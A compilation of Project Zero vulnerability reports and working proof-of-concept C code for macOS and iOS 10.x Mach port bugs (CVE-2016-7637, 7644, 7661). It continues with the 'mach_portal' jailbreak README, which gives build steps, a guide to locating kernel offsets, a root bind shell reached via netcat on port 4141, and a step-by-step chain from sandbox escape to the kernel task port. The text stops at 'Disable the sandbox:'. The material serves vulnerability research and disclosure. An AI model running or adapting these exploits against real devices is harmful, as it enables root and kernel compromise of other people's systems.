syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.

Here's a snippet from its mach message handling loop listening on the service port:

		ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
	...
		if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
		{
			deadname = (mach_dead_name_notification_t *)request;
			dispatch_async(asl_server_queue, ^{
				cancel_session(deadname->not_port);
				/* dead name notification includes a dead name right */
				mach_port_deallocate(mach_task_self(), deadname->not_port);
				free(request);
			});

An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.

An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>

char* service_name = "com.apple.system.logger";

struct notification_msg {
    mach_msg_header_t   not_header;
    NDR_record_t        NDR;
    mach_port_name_t not_port;
};

mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  return service_port;
}

int main() {
  kern_return_t err;

  mach_port_t service_port = lookup(service_name);

  mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy

  printf("%d\n", getpid());
  printf("service port: %x\n", service_port);

	struct notification_msg not = {0};

  not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  not.not_header.msgh_size = sizeof(struct notification_msg);
  not.not_header.msgh_remote_port = service_port;
  not.not_header.msgh_local_port = MACH_PORT_NULL;
  not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME

	not.NDR = NDR_record;

	not.not_port = target_port;

  // send the fake notification message
  err = mach_msg(&not.not_header,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct notification_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("fake notification message: %s\n", mach_error_string(err));
  
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=976

powerd (running as root) hosts the com.apple.PowerManagement.control mach service.

It checks in with launchd to get a server port and then wraps that in a CFPort:

  pmServerMachPort = _SC_CFMachPortCreateWithPort(
                          "PowerManagement",
                          serverPort, 
                          mig_server_callback, 
                          &context);

It also asks to receive dead name notifications for other ports on that same server port:

  mach_port_request_notification(
              mach_task_self(),           // task
              notify_port_in,                 // port that will die
              MACH_NOTIFY_DEAD_NAME,      // msgid
              1,                          // make-send count
              CFMachPortGetPort(pmServerMachPort),        // notify port
              MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
              &oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

  static void
  mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
  {
      mig_reply_error_t * bufRequest = msg;
      mig_reply_error_t * bufReply = CFAllocatorAllocate(
          NULL, _powermanagement_subsystem.maxsize, 0);
      mach_msg_return_t   mr;
      int                 options;

      __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
      
      /* we have a request message */
      (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

  static boolean_t 
  pm_mig_demux(
      mach_msg_header_t * request,
      mach_msg_header_t * reply)
  {
      mach_dead_name_notification_t *deadRequest = 
                      (mach_dead_name_notification_t *)request;
      boolean_t processed = FALSE;

      processed = powermanagement_server(request, reply);

      if (processed) 
          return true;
      
      if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
      {
          __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

          PMConnectionHandleDeadName(deadRequest->not_port);

          __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
          mach_port_deallocate(mach_task_self(), deadRequest->not_port);
          
          reply->msgh_bits            = 0;
          reply->msgh_remote_port     = MACH_PORT_NULL;

          return TRUE;
      }

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

  typedef struct {
      mach_msg_header_t   not_header;
      NDR_record_t        NDR;
      mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
      mach_msg_format_0_trailer_t trailer;
  } mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.

Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
 */

// ianbeer

#if 0
MacOS/iOS arbitrary port replacement in powerd

powerd (running as root) hosts the com.apple.PowerManagement.control mach service.

It checks in with launchd to get a server port and then wraps that in a CFPort:

	pmServerMachPort = _SC_CFMachPortCreateWithPort(
													"PowerManagement",
													serverPort, 
													mig_server_callback, 
													&context);

It also asks to receive dead name notifications for other ports on that same server port:

	mach_port_request_notification(
							mach_task_self(),           // task
							notify_port_in,                 // port that will die
							MACH_NOTIFY_DEAD_NAME,      // msgid
							1,                          // make-send count
							CFMachPortGetPort(pmServerMachPort),        // notify port
							MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
							&oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

	static void
	mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
	{
			mig_reply_error_t * bufRequest = msg;
			mig_reply_error_t * bufReply = CFAllocatorAllocate(
					NULL, _powermanagement_subsystem.maxsize, 0);
			mach_msg_return_t   mr;
			int                 options;

			__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
			
			/* we have a request message */
			(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

	static boolean_t 
	pm_mig_demux(
			mach_msg_header_t * request,
			mach_msg_header_t * reply)
	{
			mach_dead_name_notification_t *deadRequest = 
											(mach_dead_name_notification_t *)request;
			boolean_t processed = FALSE;

			processed = powermanagement_server(request, reply);

			if (processed) 
					return true;
			
			if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
			{
					__MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

					PMConnectionHandleDeadName(deadRequest->not_port);

					__MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
					mach_port_deallocate(mach_task_self(), deadRequest->not_port);
					
					reply->msgh_bits            = 0;
					reply->msgh_remote_port     = MACH_PORT_NULL;

					return TRUE;
			}

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

	typedef struct {
			mach_msg_header_t   not_header;
			NDR_record_t        NDR;
			mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
			mach_msg_format_0_trailer_t trailer;
	} mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.

Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>

char* service_name = "com.apple.PowerManagement.control";

struct notification_msg {
    mach_msg_header_t   not_header;
    NDR_record_t        NDR;
    mach_port_name_t not_port;
};

mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  return service_port;
}

int main() {
  kern_return_t err;

  mach_port_t service_port = lookup(service_name);

  mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy

  printf("%d\n", getpid());
  printf("service port: %x\n", service_port);

	struct notification_msg not = {0};

  not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  not.not_header.msgh_size = sizeof(struct notification_msg);
  not.not_header.msgh_remote_port = service_port;
  not.not_header.msgh_local_port = MACH_PORT_NULL;
  not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME

	not.NDR = NDR_record;

	not.not_port = target_port;

  // send the fake notification message
  err = mach_msg(&not.not_header,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct notification_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("fake notification message: %s\n", mach_error_string(err));
  
  return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=965

set_dp_control_port is a MIG method on the host_priv_port so this bug is a root->kernel escalation.

  kern_return_t
  set_dp_control_port(
    host_priv_t host_priv,
    ipc_port_t  control_port) 
  {
          if (host_priv == HOST_PRIV_NULL)
                  return (KERN_INVALID_HOST);

    if (IP_VALID(dynamic_pager_control_port))
      ipc_port_release_send(dynamic_pager_control_port);

    dynamic_pager_control_port = control_port;
    return KERN_SUCCESS;
  }

This should be an atomic operation; there's no locking so two threads can race to see the same value for
dynamic_pager_control_port and release two references when the kernel only holds one.

This PoC triggers the bug such that the first thread frees the port and the second uses it; a
more sensible approach towards exploiting it would be to use this race to try to decrement the reference count
of a port with two references to zero such that you end up with a dangling port pointer.

Tested on MacOS 10.12 16A323
 
##############################################################################

/* ianbeer */

READ THIS FIRST:
if you do not have an iPod touch 6g running 10.1.1 (14b100) or and iPad mini 2 running 10.1.1 (14b100) this project will
not work out of the box(*)! You need to fix up a couple of offsets - see the section futher down
"Adding support for more devices"

(*) more precisely, I only have those devices and have only tested it on them.
(*) 1b4150 will probably also work, I haven't tested it.

Contents:
 1 - Build Instructions
 2 - Adding support for other devices
 3 - Notes on the bugs and exploits

*** (1) Build Instructions ***

 * download and install Xcode 8.1 or higher

 * download Jonathan Levin’s collection of arm64 iOS binaries:
    + Follow the link for "The 64-bit tgz pack" here:
      http://newosxbook.com/tools/iOSBinaries.html (you want iosbinpack64.tgz)
    + extract it into the iosbinpack64 directory which is already in the mach_portal
      source dir so that directly underneath iosbinpack64 you have the bin/, etc/, sbin/, usr/ directories
      When you expand the iosbinpack64 directory in the xcode folder view you should see those folders

 * open this .xcodeproj

 * if you don't have an apple id make one now at https://appleid.apple.com

 * if you don't have a developer signing certificate you can make a free one now in Xcode

 * in Xcode go Xcode->Preference->Accounts and click the '+' in the lower left hand corner and add your apple id

 * select your account then "View Details" and under signing identites click Create next to iOS Development

 * connect your iDevice and click "trust" in the pop up on it

 * wait for xcode to process symbol files for this device

 * in the box to the right of the play and stop buttons in the top left corner of the xcode window select your iDevice

 * in the left hand window pane select the mach_portal project and navigate to the General tab

 * in the signing window select your personal team

 * We now need to fix up a few things:

 * go to Build Settings -> Packaging and give your project a new, unique bundle identifier
    (eg change it from "com.example.mach_portal" to "com.ios.test.account.mach_portal"
     where ios.test.account is your apple id. (it doesn’t have to be your apple id, just a unique string))

 * We also need to register a unique App Group:

 * In the capabilities view scroll down to the App Groups section, remove the existing App Group ("group.mach_portal")
   and add a new unique one (eg "group.ios.test.account.mach_portal")

 * open jailbreak.c and change the app_group variable to this new app group id.

 * on the iDevice go to settings -> General -> Device Management and select your apple ID and click trust

 * in xcode click view -> debug area -> activate console so you can see debugging output (there's no output on the iDevice screen at all, that's normal)

 * make sure your iDevice and host are connected to the same wifi network and that network allows client to client connections. Note down the iDevice's ip address.

 * click play to run the app on the iDevice. If it fails press and hold the power and home buttons to reset the device. If Xcode asks you to enable developer mode on this mac agree.

 * if it succeeds you should see:
    "shell listening on port 4141"
   printed to the debug consol

 * the kernel exploit is only around 50% reliable (this can certainly be improved, read the code and make it better!)
     it will fail more often if there is high system load - try leaving the device for a minute after rebooting it and connecting it to you mac before trying again

 * connect to that port with netcat:
     nc X.X.X.X 4141
   where X.X.X.X is your iDevice’s ip address

 * you have a root shell :) There’s no controlling terminal so fancy curses gui stuff won't work unless you fix that

 * you can run any pseudo-signed thin ARM64 binaries - if you want the kernel task port it's host special port 4

 * copy your custom testing tools to the iosbinpack64 directory and they'll be bundled with the .app so you can run them from the shell

 * you're running as an unsandboxed root user so you can talk to any iokit user clients/mach services

 * amfid is patched to allow any signatures/entitlements

 * When you’re done hold power and home to reset the device

*** (2) Adding support for other devices ***
 * you have to do this manually, sorry!

 * download the ipsw for your device from https://www.theiphonewiki.com/wiki/Firmware
   The bugs are there in any version <= 10.1.1 but the further back you go the more offsets
   will be wrong so ideally stick to 10.1.1 (and for anything earlier that iOS 10 the kernel cache
   is encrypted so you'll have to do the rest yourself)

 * for >= iOS 10 unzip the ipsw and hexdump the kernel.release.* file like this:

$ hexdump -C kernelcache.release.n51 | head
00000000  30 83 b5 9b 0d 16 04 49  4d 34 50 16 04 6b 72 6e  |0......IM4P..krn|
00000010  6c 16 1c 4b 65 72 6e 65  6c 43 61 63 68 65 42 75  |l..KernelCacheBu|
00000020  69 6c 64 65 72 2d 31 31  36 32 2e 32 30 2e 31 04  |ilder-1162.20.1.|
00000030  83 b5 9a de 63 6f 6d 70  6c 7a 73 73 83 13 7d ae  |....complzss..}.|
00000040  01 64 80 00 00 b5 29 5e  00 00 00 01 00 00 00 00  |.d....)^........|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001b0  00 00 00 00 ff cf fa ed  fe 0c 00 00 01 d5 00 f6  |................|
000001c0  f0 02 f6 f0 14 f6 f0 38  0e 9a f3 f1 20 f6 f1 00  |.......8.... ...|
000001d0  19 ff f1 f5 f0 5f 9f 5f  54 45 58 54 09 02 1c 03  |....._._TEXT....|

 * note down the offset of the ff cf fa ed fe byte sequence (in this case it's 0x1b4)

 * compile lzssdec from http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp

 * run a command like: lzssdec -o 0x1b4 < kernel.release.n51 > kernel.decompressed

 * open the decompressed kernelcache in a recent version of IDA Pro (with support for iOS kextcaches)

 * say yes when IDA asks to split by kext

 * let the auto-analysis run - depending on how fast your computer is this might take a while! (it takes my 2013 MBP about 30 minutes)

 * go view -> open subviews -> segments and find the __TEXT:HEADER segment, the start should be FFFFFFF007004000
   if it isn't note this down as you'll need to work out a couple of offsets relative to this

 * go view -> open subviews -> names and find the kernproc data symbol.

 * subtract the __TEXT:HEADER value from that, this is the kernproc offset
     eg for iPhone 5S 10.1.1 kernproc is at FFFFFFF0075AE0E0 making the offset: 0x5AA0E0

 * now the harder one! We need to find allproc which isn't exported so is harder to find:

 * go view -> open subviews -> strings and find the string "pgrp_add : pgrp is dead adding process"

 * hit 'x' on the autogenerated string symbol name; you should see this symbol referenced from two functions

 * open the smaller of those functions in the IDA graph view

 * this is pgrp_add in the XNU source

 * scroll to the bottom of the CFG, the final three nodes all reference the same global variable with code like this:
    ADRP  X8, #qword_FFFFFFF0075A8128@PAGE
    LDR   X9, [X8,#qword_FFFFFFF0075A8128@PAGEOFF]

 * that's the address of allproc - subtract the kernel base to get the offset, in this case it's: 0x5A4128

 * open offset.c and add support for your device. You should only have to update those two variable (kernproc and allproc)
   The structure offsets should stay the same, at least for recent kernels. If you want to target a much older kernel you'll
   also have to work out all the structure offsets - this is much more fiddly.

 * 32-bit devices:
   All the offsets will be totally different and the code which manipulates the kernel data structures will also be completely wrong.
   There's no reason it wouldn't work but you'll have to fix the code to make it work

*** fixing userspace stuff ***

I also rely on a handful of offsets in amfid; you should be able to find those very easily if they're different on your target.
See the code and alse the section "Patch amfid" below.

*** (3) Notes on the bugs and exploits ***

This project is called "mach_portal" - it's the result of a research project I did this year looking at mach ports. (All the bugs used
involve mach ports :-) ) There are two main bugs plus one more which is only used to force a service to restart:

CVE-2016-7637: Broken kernel mach port name uref handling on iOS/MacOS can lead to privileged port name replacement in other processes

CVE-2016-7644: XNU kernel UaF due to lack of locking in set_dp_control_port

CVE-2016-7661: MacOS/iOS arbitrary port replacement in powerd

There is no untether (persistent codesigning bypass) but the exploit will temporarily disable codesigning while it runs so you can run
unsigned binaries.

The high level exploit flow is like this:

I use CVE-2016-7637 to replace launchd's send right to com.apple.iohideventsystem with a send right to a port for which I hold the receive right.
I use CVE-2016-7661 to crash the powerd daemon (which runs as root). It gets automatically restarted and as part of its startup it will
lookup the com.apple.iohideventsystem mach service and send its own task port to that service. Since I hold the receive
right for that port this means that powerd actually sends me its task port giving me complete control over it :-)
I use powerd's task port to get the host_priv port which I use to trigger the kernel bug.

The kernel bug is a lack of locking when releasing a reference on a port. I allocate a large number of mach ports then trigger the bug on around 20
of them which are likely to be allocated near each other in the kernel. I use no-more-senders notifications so I can deterministically know when I've
managed to over-release a port so that I can actually give myself dangling port pointers at an exact point in time later.

I free all these mach ports (leaving myself with ~20 dangling mach port pointers) and force a zone GC. I try to move
the page pointed to by all the dangling port pointers into the kalloc.4096 zone and then I send myself a large number of mach message containing OOL
ports with send rights to the host port. I set up these OOL port pages so that overlapping the dangling port's context pointers there's a pointer
to the host port ipc_port and the dangling port's lock and is_guarded fields are replaced with NULL pointers.

If that all worked I can call mach_port_get_context on each of the dangling ports and I should get back the address of the host port ipc_port.

The kernel task port is allocated at around the same time as the host port and as such they both end up in the same kernel zone page. I work
out the base of this page then call mach_port_set_context on all of the dangling ports passing each possible address of the kernel task port
in turn. I then receive all the ports I sent to myself and if everything worked I've ended receiving a send right to the kernel task port :)

Here's a more detailed writeup of the sandbox escape part of the exploit. You'll have to read the code for the kernel exploit, I haven't written
a longer writeup for that yet.

*** Sandbox escape ***

When sending and receiving mach messages from userspace there are two important kernel objects; ipc_entry and
ipc_object.

ipc_entry's are the per-process handles or names which a process uses to refer to a particular ipc_object.

ipc_object is the actual message queue (or kernel object) which the port refers to.

ipc_entrys have a pointer to the ipc_object they are a handle for along with the ie_bits field which contains
the urefs and capacility bits for this name/handle (whether this is a send right, receive right etc.)

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

#define IE_BITS_UREFS_MASK  0x0000ffff  /* 16 bits of user-reference */
#define IE_BITS_UREFS(bits) ((bits) & IE_BITS_UREFS_MASK)

The low 16 bits of the ie_bits field are the user-reference (uref) count for this name.

Each time a new right is received by a process, if it already had a name for that right the kernel will
increment the urefs count. Userspace can also arbitrarily control this reference count via mach_port_mod_refs
and mach_port_deallocate. When the reference count hits 0 the entry is free'd and the name can be re-used to
name another right (this is actually only the case for send rights).

ipc_right_copyout is called when a right will be copied into a space (for example by sending a port right in a mach
message to another process.) Here's the code to handle the sending of a send right:

    case MACH_MSG_TYPE_PORT_SEND:
        assert(port->ip_srights > 0);
        
        if (bits & MACH_PORT_TYPE_SEND) {
            mach_port_urefs_t urefs = IE_BITS_UREFS(bits);
            
            assert(port->ip_srights > 1);
            assert(urefs > 0);
            assert(urefs < MACH_PORT_UREFS_MAX);
            
            if (urefs+1 == MACH_PORT_UREFS_MAX) {
                if (overflow) {
                    /* leave urefs pegged to maximum */     <---- (1)
                    
                    port->ip_srights--;
                    ip_unlock(port);
                    ip_release(port);
                    return KERN_SUCCESS;
                }
                
                ip_unlock(port);
                return KERN_UREFS_OVERFLOW;
            }
            port->ip_srights--;
            ip_unlock(port);
            ip_release(port);
       
     ...     
        
        entry->ie_bits = (bits | MACH_PORT_TYPE_SEND) + 1;  <---- (2)
        ipc_entry_modified(space, name, entry);
        break;


If copying this right into this space would cause that right's name's urefs count in that space to hit 0xffff
then (if overflow is true) we reach the code at (1) which claims in the comment that it will leave urefs pegged at maximum.
This branch doesn't increase the urefs but still returns KERN_SUCCESS. Almost all callers pass overflow=true.

The reason for this "pegging" was probably not to prevent the reference count from becoming incorrect but rather because
at (2) if the urefs count wasn't capped the reference count would overflow the 16-bit bitfield into the capability bits.

The issue is that the urefs count isn't "pegged" at all. I would expect "pegged" to mean that the urefs count will now stay at 0xfffe
and cannot be decremented - leaking the name and associated ipc_object but avoiding the possibilty of a name being over-released.

In fact all that the "peg" does is prevent the urefs count from exceeding 0xfffe; it doesn't prevent userspace from believing
it has more urefs than that (by eg making the copyout's fail.)

What does this actually mean?

Let's consider the behaviour of mach_msg_server or dispatch_mig_server. They receive mach service messages in a loop and if the message
they receieved didn't corrispond to the MIG schema they pass that received message to mach_msg_destroy. Here's the code where mach_msg_destroy
destroys an ool_ports_descriptor_t:

    case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
      mach_port_t                 *ports;
      mach_msg_ool_ports_descriptor_t *dsc;
      mach_msg_type_number_t      j;

      /*
       * Destroy port rights carried in the message 
       */
      dsc = &saddr->ool_ports;
      ports = (mach_port_t *) dsc->address;
      for (j = 0; j < dsc->count; j++, ports++)  {
          mach_msg_destroy_port(*ports, dsc->disposition); // calls mach_port_deallocate
      }
    ...

This will call mach_port_deallocate for each ool_port name received.

If we send such a service a mach message with eg 0x20000 copies of the same port right as ool ports the ipc_entry for that name will actually only have
0xfffe urefs. After 0xfffe calls to mach_port_deallocate the urefs will hit 0 and the kernel will free the ipc_entry and mark that name as free. From this
point on the name can be re-used to name another right (for example by sending another message received on another thread) but the first thread will
still call mach_port_deallocate 0x10002 times on that name.

This leads to something like a use-after-deallocate of the mach port name - strictly a userspace bug (there's no kernel memory corruption etc here) but
caused by a kernel bug.

The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.

This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.

Mach ports are stored in a flat array of ipc_entrys:

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.

The generation number is checked in ipc_entry_lookup:

  if (index <  space->is_table_size) {
                entry = &space->is_table[index];
    if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
        IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
      entry = IE_NULL;    
  }

here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.

Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will 
be grown. The table is never shrunk.

Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.

After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of 
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.

We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.

For this iOS exploit I target the send right to com.apple.iohideventsystem which launchd has, and which I can lookup from inside the
container sandbox

I look up the iohideventsystem service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the iohideventsystem service has.
(We can't register global mach services from inside the container sandbox but we can register App Group-restricted
services, which work just the same for our purposes. This is why the exploit needs the App Groups capability.)

Now when any process looks up com.apple.iohideventsystem launchd will actually send them a send right
to one of my dummy services :)

I add all those dummy services to a portset and use that recieve right and the legitimate iohideventsystem send right
I still have to MITM all these new connections to iohideventsystem. As mentioned earlier clients of iohideventsystem send
it their task ports, so all I have to do is crash a process which runs as root and is a client of iohideventsystem. When it
restarts it will send it's task port to me :-)

*** Powerd crasher ***

To crash powerd I use CVE-2016-7661:

powerd checks in with launchd to get a server port and then wraps that in a CFPort:

  pmServerMachPort = _SC_CFMachPortCreateWithPort(
                          "PowerManagement",
                          serverPort, 
                          mig_server_callback, 
                          &context);

It also asks to receive dead name notifications for other ports on that same server port:

  mach_port_request_notification(
              mach_task_self(),           // task
              notify_port_in,                 // port that will die
              MACH_NOTIFY_DEAD_NAME,      // msgid
              1,                          // make-send count
              CFMachPortGetPort(pmServerMachPort),        // notify port
              MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
              &oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

  static void
  mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
  {
      mig_reply_error_t * bufRequest = msg;
      mig_reply_error_t * bufReply = CFAllocatorAllocate(
          NULL, _powermanagement_subsystem.maxsize, 0);
      mach_msg_return_t   mr;
      int                 options;

      __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
      
      /* we have a request message */
      (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

  static boolean_t 
  pm_mig_demux(
      mach_msg_header_t * request,
      mach_msg_header_t * reply)
  {
      mach_dead_name_notification_t *deadRequest = 
                      (mach_dead_name_notification_t *)request;
      boolean_t processed = FALSE;

      processed = powermanagement_server(request, reply);

      if (processed) 
          return true;
      
      if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
      {
          __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

          PMConnectionHandleDeadName(deadRequest->not_port);

          __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
          mach_port_deallocate(mach_task_self(), deadRequest->not_port);
          
          reply->msgh_bits            = 0;
          reply->msgh_remote_port     = MACH_PORT_NULL;

          return TRUE;
      }

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

  typedef struct {
      mach_msg_header_t   not_header;
      NDR_record_t        NDR;
      mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
      mach_msg_format_0_trailer_t trailer;
  } mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could probably do quite interesting things with this bug but in this case I just want to crash the service. I do that by spoofing no-more-senders
notifications for powerd's task port. Once powerd's send right to its own task port has been freed pretty much everything breaks - in this case
I send a copy_powersources_info message, the receving code doesn't check the return value of a call to mach_vm_allocate which fails because the
task's task port is wrong and leads to the use of an uninitialized pointer.

*** Kernel Bug ****

See above for a short writeup of the kernel bug exploit. I will try to write a long-form writeup soon, but the code should be kind of clear.

*** Post-exploitation ****

I've taken a slightly different approach post-exploitation. Everything is data-only, I don't make any patches to r/o kernel memory. This means
things should also work on the iPhone 7 but I don't have one to test :(

There are a number of downsides to taking this approach though:
  * technically a lot of these things I do are racy, but in pratice it works perfectly well enough for a research platform
  * some things become quite fiddly which are simple with a TEXT patch

This is also a research project for me; there are almost certainly far more downsides that I'm not aware of. iOS is complex, undocumented place
and I don't really know what I'm doing!

The flow works like this:

Walk the process list and find the following tasks:
 amfid
 mach_portal
 containermanagerd
 launchd

Disable the sandbox:
